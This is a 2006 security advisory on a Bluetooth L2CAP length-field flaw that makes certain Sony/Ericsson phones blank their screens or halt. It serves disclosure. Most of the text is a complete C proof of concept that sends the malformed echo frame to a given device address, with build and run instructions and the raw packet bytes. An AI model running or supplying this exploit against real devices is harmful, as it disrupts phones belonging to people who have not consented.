Sony/Ericsson L2CAP Length Field DoS

Author: Pierre Betouin (pierre.betouin@infratech.fr) : None

Certain models of Sony/Ericsson phones are vulnerable to a DoS
attack involving L2CAP frames with invalid header lengths.

Phone models known to be affected are:

	- Sony/Ericsson K600i
	- Sony/Ericsson V600i
	- Sony/Ericsson K750i
	- Sony/Ericsson W800i

By sending a malformed L2CAP frame to certain models of Sony/Ericsson
phones it is possible to cause the device to lock-up. This is done
by creating an L2CAP frame with an improperly set length field.

For instance, it is possible to send an L2CAP echo frame to
the device which is 4 bytes in length but set the length field in
the frame to 1 byte. When an affected device receives the frame
its screen will either go blank or the device will halt.

A short raw L2CAP packet such as :

08 01 01 00

It represents the following L2CAP header fields :

code L2CAP_ECHO_REQ;
ident 1
length 1

The "real" packet sent is, in fact, 4 bytes long.

The DoS can be triggered when the length sent in the L2CAP field
is equal to the real length minus 3 (which is the size of the L2CAP header here). 

In addition, other Sony/Ericsson models may be affected. Currently a fix for this issue is unavailable. To protect yourself from this issue disable the affected device's Bluetooth functionality.

/* Sony/Ericsson reset display - PoC */
/* Pierre BETOUIN - pierre.betouin@infratech.fr */
/* 05-02-2006 */
/* Vulnerability found using BSS fuzzer : */
/* Download www.secuobs.com/news/05022006-bluetooth10.shml */
/* */
/* Causes anormal behaviours on some Sony/Ericsson */
/* cell phones */
/* Vulnerable tested devices : */
/* - K600i */
/* - V600i */
/* - K750i */
/* - W800i */
/* - And maybe other ones... */
/* */
/* Vulnerable devices will slowly turn their screen into */
/* black and then display a white screen. */
/* After a short period (~45sec), they will go back to */
/* their normal behaviour */
/* */
/* gcc -lbluetooth reset_display_sonyericsson.c */
/* -o reset_display_sonyericsson */
/* ./reset_display_sonyericsson 00:12:EE:XX:XX:XX */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/l2cap.h>

#define SIZE 4
#define FAKE_SIZE 1 // SIZE - 3 (3 bytes <=> L2CAP header)

int main(int argc, char **argv)
{
char *buffer;
l2cap_cmd_hdr *cmd;
struct sockaddr_l2 addr;
int sock, sent, i;

if(argc < 2)
{
fprintf(stderr, "%s <btaddr>\n", argv[0]);
exit(EXIT_FAILURE);
}

if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}

memset(&addr, 0, sizeof(addr));
addr.l2_family = AF_BLUETOOTH;

if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("bind");
exit(EXIT_FAILURE);
}

str2ba(argv[1], &addr.l2_bdaddr);

if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("connect");
exit(EXIT_FAILURE);
}

if(!(buffer = (char *) malloc ((int) SIZE + 1)))
{
perror("malloc");
exit(EXIT_FAILURE);
}

memset(buffer, 90, SIZE);

cmd = (l2cap_cmd_hdr *) buffer;
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 1;
cmd->len = FAKE_SIZE;

if( (sent=send(sock, buffer, SIZE, 0)) >= 0)
{
printf("L2CAP packet sent (%d)\n", sent);
}

printf("Buffer:\t");
for(i=0; i<sent; i++)
printf("%.2X ", (unsigned char) buffer[i]);
printf("\n");

free(buffer);
close(sock);
return EXIT_SUCCESS;
}